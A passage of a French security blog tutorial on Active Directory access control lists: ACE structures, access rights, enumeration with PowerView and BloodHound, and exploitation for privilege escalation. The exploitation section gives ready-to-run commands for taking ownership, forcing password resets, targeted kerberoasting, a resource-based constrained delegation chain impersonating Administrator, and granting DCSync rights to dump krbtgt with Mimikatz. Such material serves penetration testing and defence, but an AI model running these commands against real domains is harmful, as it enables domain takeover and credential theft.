Security Identifier<\/code>), cette propri\u00e9t\u00e9 permet d\u2019identifier chaque objet de mani\u00e8re unique. Lorsqu\u2019un objet veut acc\u00e9der \u00e0 un autre objet, Windows va regarder dans le Security Descriptor<\/code> de l\u2019objet auquel on souhaite acc\u00e9der, si le SID du demandeur est pr\u00e9sent dans l\u2019une des diff\u00e9rentes ACL (Access Control List<\/code>). Si c\u2019est le cas, alors Windows regardera dans l\u2019ACE les diff\u00e9rentes permissions accord\u00e9es au “trustee”, l\u2019objet qui demande un acc\u00e8s. Ces permissions sont stock\u00e9es dans une ACE (Access Control Entry<\/code>). Il existe plusieurs types d\u2019ACE qui garantissent plusieurs types d\u2019acc\u00e8s diff\u00e9rents. Pour plus de d\u00e9tail je vous invite \u00e0 consulter mes articles<\/a> sur le mod\u00e8le de s\u00e9curit\u00e9 de Windows. Cependant Active Directory ajoute quelques subtilit\u00e9s que nous allons explorer.<\/p>\n\n\n\n![\"\"](\"http:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/Principe.png\")
<\/figure>\n\n\n\nACE<\/h3>\n\n\n\n
La majeure partie des pr\u00e9cisions qu’il faut apporter se situe dans les ACEs. Pour rappelle, la structure d’une ACE contient un champ AceType <\/code> qui d\u00e9signe comme son nom l\u2019indique le type d\u2019ACE, beaucoup plus de valeurs existent et sont disponible dans le header C++ iads.h<\/code>. Les principales \u00e9tant ACCESS_ALLOWED <\/code>(OA<\/code>, en SDDL pour un objet), ACCESS_DENIED <\/code>(OD<\/code>, en SDDL pour un objet):<\/p>\n\n\n\ntypedef enum __MIDL___MIDL_itf_ads_0001_0048_0002 {\n ADS_ACETYPE_ACCESS_ALLOWED,\n ADS_ACETYPE_ACCESS_DENIED,\n ADS_ACETYPE_SYSTEM_AUDIT,\n ADS_ACETYPE_ACCESS_ALLOWED_OBJECT,\n ADS_ACETYPE_ACCESS_DENIED_OBJECT,\n ADS_ACETYPE_SYSTEM_AUDIT_OBJECT,\n ADS_ACETYPE_SYSTEM_ALARM_OBJECT,\n ADS_ACETYPE_ACCESS_ALLOWED_CALLBACK,\n ADS_ACETYPE_ACCESS_DENIED_CALLBACK,\n ADS_ACETYPE_ACCESS_ALLOWED_CALLBACK_OBJECT,\n ADS_ACETYPE_ACCESS_DENIED_CALLBACK_OBJECT,\n ADS_ACETYPE_SYSTEM_AUDIT_CALLBACK,\n ADS_ACETYPE_SYSTEM_ALARM_CALLBACK,\n ADS_ACETYPE_SYSTEM_AUDIT_CALLBACK_OBJECT,\n ADS_ACETYPE_SYSTEM_ALARM_CALLBACK_OBJECT\n} ADS_ACETYPE_ENUM;<\/pre>\n\n\n\nAussi, le champ AceFlags<\/code> contr\u00f4le l’h\u00e9ritage du droit accord\u00e9 par l\u2019ACE. On retrouve CONTAINER_INHERIT_ACE<\/code> (CI<\/code>) qui signifie que l\u2019acc\u00e8s est accord\u00e9 dans tous les objets enfants (que peuvent \u00eatre les dossiers et fichiers, les groupes etc), INHERIT_ONLY_ACE<\/code> (IO<\/code>) est dans la continuit\u00e9 du pr\u00e9c\u00e9dent puisqu\u2019il indique que l\u2019acc\u00e8s conf\u00e9r\u00e9 est le m\u00eame que celui du parent (on peut donc remonter comme ceci jusqu\u2019\u00e0 l\u2019ACE CONTAINER_INHERIT_ACE<\/code>), INHERITED_ACE<\/code> (ID<\/code>) indique que l\u2019ACE, a \u00e9t\u00e9 h\u00e9riter; l\u2019ensemble des valeurs de ce champ se situe aussi dans iads.h<\/code> pour les ACE de type objet:<\/p>\n\n\n\ntypedef enum __MIDL___MIDL_itf_ads_0001_0048_0003 {\n ADS_ACEFLAG_INHERIT_ACE,\n ADS_ACEFLAG_NO_PROPAGATE_INHERIT_ACE,\n ADS_ACEFLAG_INHERIT_ONLY_ACE,\n ADS_ACEFLAG_INHERITED_ACE,\n ADS_ACEFLAG_VALID_INHERIT_FLAGS,\n ADS_ACEFLAG_SUCCESSFUL_ACCESS,\n ADS_ACEFLAG_FAILED_ACCESS\n} ADS_ACEFLAG_ENUM;<\/pre>\n\n\n\nLa structure d\u2019une ACE est d\u00e9finie en fonction du type d\u2019acc\u00e8s, il existe logiquement ACESS_DENIED<\/code> et ACCESS_ALLOWED<\/code> comme nous l’avons vu, cependant les structures sont sensiblement diff\u00e9rentes:<\/p>\n\n\n\ntypedef struct _ACCESS_ALLOWED_OBJECT_ACE {\n ACE_HEADER Header;\n ACCESS_MASK Mask;\n DWORD Flags;\n GUID ObjectType;\n GUID InheritedObjectType;\n DWORD SidStart;\n} ACCESS_ALLOWED_OBJECT_ACE, *PACCESS_ALLOWED_OBJECT_ACE;\n\ntypedef struct _ACCESS_DENIED_OBJECT_ACE {\n ACE_HEADER Header;\n ACCESS_MASK Mask;\n DWORD Flags;\n GUID ObjectType;\n GUID InheritedObjectType;\n DWORD SidStart;\n} ACCESS_DENIED_OBJECT_ACE, *PACCESS_DENIED_OBJECT_ACE;<\/pre>\n\n\n\nO\u00f9 ACE_HEADER<\/code> est la structure vue pr\u00e9c\u00e9demment, ACCESS_MASK<\/code> est une structure permettant de d\u00e9finir le type d\u2019acc\u00e8s accord\u00e9, Flags<\/code> indique si les deux valeurs qui le suivent sont pr\u00e9sentes, ObjectType<\/code> est un GUID qui permet d\u2019identifier un droit particulier quand donne un droit \u00e9tendu par exemple, InheritObjectType<\/code> d\u00e9fini le type d\u2019objet qui peut h\u00e9riter de cette ACE, SidStart<\/code> est le Security Identifier (SID) de l\u2019objet auquel on conf\u00e8re l\u2019acc\u00e8s qui peut \u00eatre pr\u00e9sent\u00e9 en tant que “well known identifier” (i.e AN<\/code>=Anonymous, BA<\/code>=Builtin Administrators, BU<\/code>=Builtin Users, DA<\/code>=Domain Administrators …), ce dernier est d\u00e9nomm\u00e9 “trustee”. En SDDL on d\u00e9clare une ACE avec des parenth\u00e8ses et est structur\u00e9e comme ceci (ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;resource_attribute<\/code>) lorsqu\u2019une information n\u2019est pas pr\u00e9cis\u00e9 il faut toujours garder les points virgules; si on souhaite ajouter plusieurs ACEs il suffit d\u2019ajouter plusieurs structures \u00e0 la suite. Voil\u00e0 deux sch\u00e9mas qui vous permettront de mieux visualiser la diff\u00e9rence entre les deux types d’ACE (g\u00e9n\u00e9rique et objet):<\/p>\n\n\n\n![\"\"](\"http:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/ACEGenerique.png\")
ACE g\u00e9n\u00e9rique<\/figcaption><\/figure><\/div>\n\n\n\n![\"\"](\"http:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/ACEObject.png\")
ACE objet<\/figcaption><\/figure><\/div>\n\n\n\nUne ACE objet peut ais\u00e9ment \u00eatre cr\u00e9\u00e9e avec PowerShell. Pour cela il faut utiliser l’espace de nom System.DirectoryServices<\/code> qui contient la classe ActiveDirectoryAccessRule<\/code>:<\/p>\n\n\n\n# ACE qui donne GenericAll a PrincipalIdentity sur CN=Administrator,CN=Users,DC=testlab,DC=local\n$ADSI = [ADSI]\"LDAP:\/\/CN=Administrator,CN=Users,DC=testlab,DC=local\"\n$IdentityReference = New-Object System.Security.Principal.NTAccount \"PrincipalIdentity\"\n$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,\"GenericAll\",\"Allow\"\n\n$ACE<\/pre>\n\n\n\nAccess Mask<\/h3>\n\n\n\n
Quelques subtilit\u00e9s viennent s’ajouter au masque d’acc\u00e8s, en particulier des nouveaux acc\u00e8s sp\u00e9cifiques sont cr\u00e9\u00e9s:<\/p>\n\n\n\n
- Les droits \u00e9tendus sont des acc\u00e8s sp\u00e9cifiques \u00e0 Active Directory, il en existe un nombre cons\u00e9quent (voir https:\/\/docs.microsoft.com\/fr-fr\/windows\/win32\/adschema\/extended-rights<\/a>) et chacun est caract\u00e9ris\u00e9 par un GUID. En revanche certains sont plus int\u00e9ressant que d\u2019autres, on note par exemple
User-Force-Change-Password<\/code>, qui permet comme son nom l\u2019indique de changer le mot de passe d\u2019un utilisateur, DS-Replication-Get-Changes<\/code> et DS-Replication-Get-Changes-All<\/code> permettent, lorsqu’ils sont pr\u00e9sent ensemble, d\u2019effectuer une r\u00e9plication des hash, qui th\u00e9oriquement se fait entre contr\u00f4leurs de domaine. Enfin AllExtendedRights<\/code> permet \u00e0 un objet de poss\u00e9der tous les droits \u00e9tendus sur un autre.<\/li>- Les droits de contr\u00f4le Active Directory not\u00e9s “ADS rights” (“Active Directory Service rights”, aussi connu sous le nom de “Directory Services Access Rights”, m\u00eame si leur documentation est un peu moins fourni https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/secauthz\/directory-services-access-rights<\/a>). L\u00e0 aussi il en existe un grand nombre (voir leur d\u00e9finition ci-dessous), mais on peut remarquer plusieurs droits,
ADS_RIGHT_GENERIC_ALL<\/code>, ADS_RIGHT_GENERIC_WRITE<\/code>, ADS_RIGHT_WRITE_OWNER<\/code>, ADS_RIGHT_WRITE_DAC<\/code>. On remarque ici que ces droits sont essentiellement les m\u00eames que les droits g\u00e9n\u00e9riques et standards, mais ici ils sont appliqu\u00e9s \u00e0 des objets Active Directory. Ainsi il est possible comme les acc\u00e8s g\u00e9n\u00e9riques\/standards d\u2019associer certains droits Active Directory \u00e0 d\u2019autres: ADS_GENERIC_READ<\/code> \u00e9quivaut \u00e0 ADS_DS_LIST_CONTENTS<\/code>, ADS_DS_READ_PROPERTY<\/code>, ADS_DS_LIST_OBJECT<\/code>; ADS_GENERIC_WRITE<\/code> sont \u00e9quivalent \u00e0 ADS_DS_WRITE_PROPERTY<\/code> et ainsi de suite. Il est aussi \u00e0 noter que le sens des droits reste inchang\u00e9, en d\u2019autres termes ADS_WRITE_DAC<\/code> permet d\u2019\u00e9crire la DACL etc.<\/li><\/ul>\n\n\n\ntypedef enum __MIDL___MIDL_itf_ads_0001_0048_0001 {\n ADS_RIGHT_DELETE,\n ADS_RIGHT_READ_CONTROL,\n ADS_RIGHT_WRITE_DAC,\n ADS_RIGHT_WRITE_OWNER,\n ADS_RIGHT_SYNCHRONIZE,\n ADS_RIGHT_ACCESS_SYSTEM_SECURITY,\n ADS_RIGHT_GENERIC_READ,\n ADS_RIGHT_GENERIC_WRITE,\n ADS_RIGHT_GENERIC_EXECUTE,\n ADS_RIGHT_GENERIC_ALL,\n ADS_RIGHT_DS_CREATE_CHILD,\n ADS_RIGHT_DS_DELETE_CHILD,\n ADS_RIGHT_ACTRL_DS_LIST,\n ADS_RIGHT_DS_SELF,\n ADS_RIGHT_DS_READ_PROP,\n ADS_RIGHT_DS_WRITE_PROP,\n ADS_RIGHT_DS_DELETE_TREE,\n ADS_RIGHT_DS_LIST_OBJECT,\n ADS_RIGHT_DS_CONTROL_ACCESS\n} ADS_RIGHTS_ENUM;<\/pre>\n\n\n\nCe sont souvent les m\u00eames acc\u00e8s qui sont utilis\u00e9s, c\u2019est pourquoi l\u2019\u00e9num\u00e9ration ActiveDirectoryRights<\/code> issue de l\u2019espace de nom System.DirectoryServices<\/code> ne les contient pas tous. <\/p>\n\n\n\nEnum\u00e9ration<\/h3>\n\n\n\n
Pour pouvoir les exploiter, il faudrait d\u00e9j\u00e0 savoir les \u00e9num\u00e9rer. Comme ces permissions sont consult\u00e9es avant d\u2019acc\u00e9der \u00e0 un objet, cela signifie que th\u00e9oriquement tout le monde peut y acc\u00e9der sans encombre (sauf certaines exceptions). Nombre d\u2019outils permettent de faire cela, comme PowerView (un peu plus de d\u00e9tails sur ce dernier plus tard) avec les fonctions cmdlets Get-DomainObjec<\/code>tAcl<\/code> et Invoke-ACLScanner<\/code><\/code> voir m\u00eame Find-InterestingAcl<\/code><\/code>. Le tr\u00e8s connu BloodHound et son ingestor SharpHound, dont ce dernier peut exclusivement r\u00e9colter les ACLs lorsque l\u2019argument -c ACL<\/code> est utilis\u00e9, mais dans le bouquet par d\u00e9faut elles sont tout de m\u00eame r\u00e9cup\u00e9r\u00e9es. Gr\u00e2ce \u00e0 Bloodhound, il est possible de cr\u00e9er et visualiser des chemins d\u2019attaques via des ACLs: les sommets du graphe repr\u00e9sentent les objets et les ar\u00eates repr\u00e9sentent les droits (qui peuvent aussi ne pas \u00eatre des ACLs). <\/p>\n\n\n\n![\"\"](\"http:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/BloodHound1-1024x469.png\")
<\/figure>\n\n\n\nComment ces outils fonctionnent ? Ils utilisent le fait que le SecurityDescriptor<\/code> d\u2019un objet est disponible dans l\u2019annuaire LDAP de l\u2019Active Directory. Pour y acc\u00e9der on utilise une DirectoryEntry<\/code> de l\u2019espace de nom C# System.DirectoryServices<\/code> (qui g\u00e8re essentiellement l\u2019interfa\u00e7age entre l\u2019annuaire et la partie programmation, il utilise principalement LDAP mais ce dernier est particuli\u00e8rement utiliser par \u00e0 autre espace de nom, System.DirectoryServices.Protocols<\/code> qui permet d\u2019y acc\u00e9der dans un niveau un peu plus bas, ce qui permet dans certains cas d’acc\u00e9der \u00e0 des attributs qui d\u2019ordinaire ne sont pas accessibles). Avec PowerShell:<\/p>\n\n\n\n# avec des identifiants\n$rawEntry = New-Object System.DirectoryServices.DirectoryEntry \"LDAP:\/\/\", \"UserName\", \"Password\"\n# sans identifiants on peut se permettre d'utiliser un acc\u00e9l\u00e9rateur de type\n$rawEntry = [ADSI] \"LDAP:\/\/\"\n$rawEntry.ObjectSecurity.Access<\/pre>\n\n\n\nEn C#:<\/p>\n\n\n\n
\/\/ avec des identifiants\nDirectoryEntry rawEntry = new DirectoryEntry(\"LDAP:\/\/\", \"UserName\", \"Password\");\n\/\/ sans identifiants\nDirectoryEntry rawEntry = new DirectoryEntry(\"LDAP:\/\/\");\nActiveDirectorySecurity EntrySecurity = rawEntry.ObjectSecurity;\nforeach (ActiveDirectoryAccessRule accessRule in sec.GetAccessRules(true, true, typeof(NTAccount)))\n{\n\tConsole.WriteLine(accessRule.ActiveDirectoryRights.ToString());\n}<\/pre>\n\n\n\nExploitation<\/h3>\n\n\n\n
Lorsque certains acc\u00e8s sont donn\u00e9s \u00e0 un utilisateur ou un groupe, ce dernier peut l\u2019utiliser pour obtenir davantage de privil\u00e8ges voir prendre totalement le contr\u00f4le d’un autre objet. L\u2019exploitation de la DACL est donc principalement effectu\u00e9e pour l\u2019\u00e9l\u00e9vation de privil\u00e8ges. Pour mener ces attaques, PowerView est enti\u00e8rement \u00e0 notre disposition. Cet outil est \u00e9norm\u00e9ment utilis\u00e9 quand il s’agit d’\u00e9num\u00e9rer ou d’exploiter un Active Directory, il a initialement \u00e9t\u00e9 publi\u00e9 avec Veil-Framework en 2014 (avec son confr\u00e8re PowerUp), et est depuis int\u00e9gr\u00e9 \u00e0 PowerSploit. La version dev du projet est bien mieux fournie et \u00e9volu\u00e9e (c\u2019est cette version qui est utilis\u00e9e ici), alors que dans beaucoup de documentation on le retrouve sous sa forme master. Depuis que PowerSploit n\u2019est plus maintenu, c\u2019est @exploitph <\/a>qui a repris le flambeau, https:\/\/github.com\/ZeroDayLab\/PowerSploit\/blob\/master\/Recon\/PowerView.ps1<\/a>; il est a noter qu\u2019une version en C# du projet existe, SharpView disponible ici https:\/\/github.com\/tevora-threat\/SharpView<\/a> (malheureusement incompl\u00e8te). <\/p>\n\n\n\nSi notre objet poss\u00e8de le droit WriteOwner<\/code> on peut utiliser la cmdlet Set-DomainObjectOwner<\/code><\/code> comme ceci:<\/p>\n\n\n\nSet-DomainObjectOwner -Identity TargetIdentity -OwnerIdentity SelfIdentity -Verbose<\/pre>\n\n\n\ncomme nous l\u2019avons vu pr\u00e9c\u00e9demment, l’int\u00e9r\u00eat ici est que le propri\u00e9taire d\u2019un objet poss\u00e8de implicitement GenericAll<\/code> sur ce dernier. <\/p>\n\n\n\nSi notre objet poss\u00e8de le droit User-Force-Change-Password<\/code> on peut alors changer le mot de passe de l\u2019utilisateur que l\u2019on cible avec Set-DomainUserPassword<\/code><\/code>:<\/p>\n\n\n\n$newPass = ConvertTo-SecureString -AsPlainText -Force \"Passw0rd1!\"\nSet-DomainUserPassword -Identity TargetIdentity -AccountPassword $newPass -Verbose<\/pre>\n\n\n\nSi notre objet poss\u00e8de des droits g\u00e9n\u00e9riques d\u2019\u00e9criture (GenericWrite<\/code>) sur un:<\/p>\n\n\n\n- Un groupe, il peut alors s\u2019y ajouter avec
Add-DomainGroupMember<\/code><\/code>.<\/li><\/ul>\n\n\n\nAdd-DomainGroupMember -Identity TargetGroup -MemberIdentity UserOrGroupIdentity<\/pre>\n\n\n\n
- Un utilisateur, il peut alors effectuer un kerberoasting\/asreproasting vis\u00e9 (si ces attaques vous sont inconnues, ne vous inqui\u00e9tez pas, un futur article traitant de l\u2019exploitation des mauvaises configurations de kerberos arrivera bient\u00f4t).<\/li><\/ul>\n\n\n\n
#Kerberoasting\n\nSet-DomainObject -Identity TargetIdentity -SET @{serviceprincipalname='nonexistent\/BLAHBLAH'} -Verbose # Ici le nom du serviceprincipalname n\u2019a pas d'int\u00e9r\u00eat \n\nInvoke-Kerberoast -Identity TargetIdentity Get-DomainSPNTicket -Identity TargetIdentity \n\n.\\Rubeus.exe kerberoast \/user:TargetIdentity\n\n#Asreproasting \n\nSet-DomainObject -Identity TargetIdentity -XOR {useraccountcontrol=4194304} -Verbose # DONT_REQUIRE_PREAUTH \n\n.\\Rubeus.exe asreproast \/user:TargetIdentity \n\nGet-ASREPHash -UserName TargetIdentity -Domain domain.local<\/pre>\n\n\n\n- Une machine, il peut alors effectu\u00e9 une “Ressource based Constrain Delegation” qui est une attaque sur kerberos permettant d\u2019usurper l\u2019identit\u00e9 d\u2019un utilisateur sur la machine cible:<\/li><\/ul>\n\n\n\n
New-MachineAccount -MachineAccount BadMachine -Password $(ConvertTo-SecureString 'Passw0rd1!' -AsPlainText -Force) \n$ComputerSid = (Get-DomainComputer BadMachine -Properties objectsid).objectsid \n$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList \"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))\" \n$SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) \nGet-DomainComputer TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} \n\n.\\Rubeus.exe hash \/password:Passw0rd1! \n.\\Rubeus.exe s4u \/user:BadMachine$ \/rc4:B2BDBE60565B677DFB133866722317FD \/impersonateuser:Administrator \/msdsspn:cifs\/TARGETCOMPUTER.testlab.local \/ptt<\/pre>\n\n\n\n- Une GPO, il peut faire appliquer aux objets contr\u00f4l\u00e9s par cette derni\u00e8re des r\u00e8gles arbitraires (voir l\u2019article sur l\u2019abus de GPO<\/a>).<\/li>
- Une unit\u00e9 organisationnelle, ce qui peut permettre de prendre le contr\u00f4le de tous les enfants de cette derni\u00e8re.<\/li><\/ul>\n\n\n\n
$Guids = Get-DomainGUIDMap \n$AllObjectsPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'All'} | select -ExpandProperty name \n$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity 'SelfIdentity' -Right GenericAll -AccessControlType Allow -InheritanceType All -InheritedObjectType $AllObjectsPropertyGuid \n$OU = Get-DomainOU -Raw $OU \n$DsEntry = $OU.GetDirectoryEntry() \n$dsEntry.PsBase.Options.SecurityMasks = 'Dacl' \n$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE) \n$dsEntry.PsBase.CommitChanges()<\/pre>\n\n\n\nAvec GenericAll<\/code>, toutes les attaques disponibles avec GenericWrite<\/code> sont possibles. Cependant d\u2019autres sont permises, sur un utilisateur il est possible de changer son mot de passe, sur un domaine il est possible de faire une attaque de type DCSync.<\/p>\n\n\n\nSi notre objet poss\u00e8de le droit WriteDACL<\/code>, il peut ajouter une ACL sur l\u2019objet qu\u2019il contr\u00f4le, on peut donc distinguer les cas suivants:<\/p>\n\n\n\n- Sur un Groupe\/Utilisateur\/Machine\/GPO\/unit\u00e9 organisationnelle, ajout d\u2019un acc\u00e8s g\u00e9n\u00e9rique donnant tous les pouvoirs (
GenericAll<\/code>).<\/li><\/ul>\n\n\n\nAdd-DomainObjectAcl -TargetIdentity TargetIdentity -PrincipalIdentity SelfIdentity -Rights All -Verbose<\/pre>\n\n\n\n
- Sur un domaine, ajout des ACLs
Get-Changes<\/code> et Get-ChangesAll<\/code> qui sont caract\u00e9ristiques du droit DCSync.<\/li><\/ul>\n\n\n\nAdd-DomainObjectAcl -TargetIdentity \"DC=domain,DC=local\" -PrincipalIdentity SelfIdentity -Rights DCSync -Verbose\nInvoke-Mimikatz \"'lsadump::dcsync \/domain:domain.local \/user:krbtgt'\"<\/pre>\n\n\n\nSi notre objet poss\u00e8de tous les droits \u00e9tendus (AllExtendedRights<\/code>) sur un autre objet il peut si c\u2019est:<\/p>\n\n\n\n- Un utilisateur, changer son mot de passe avec
Set-DomainUserPassword<\/code><\/code>.<\/li>- Un groupe, modifier les membres de ce dernier avec
Add-DomainGroupMember<\/code><\/code>.<\/li>- Une machine, effectuer une “Ressource based Constrain Delegation”.<\/li>
- Sur un domaine, effectuer une attaque de type DCSync.<\/li><\/ul>\n\n\n\n
Pour le faire plus synth\u00e9tiquement, voici un tableau r\u00e9capitulatif.<\/p>\n\n\n\n
![\"\"](\"http:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/BloodHound2.png\")
<\/figure>\n\n\n\n![\"\"](\"http:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/BloodHound3-1024x467.png\")
<\/figure>\n\n\n\n![\"\"](\"http:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/attack1-1024x361.png\")
<\/figure>\n\n\n\n![\"\"](\"http:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/attack2-1024x361.png\")
<\/figure>\n\n\n\n![\"\"](\"http:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/attack3.png\")
<\/figure>\n\n\n\n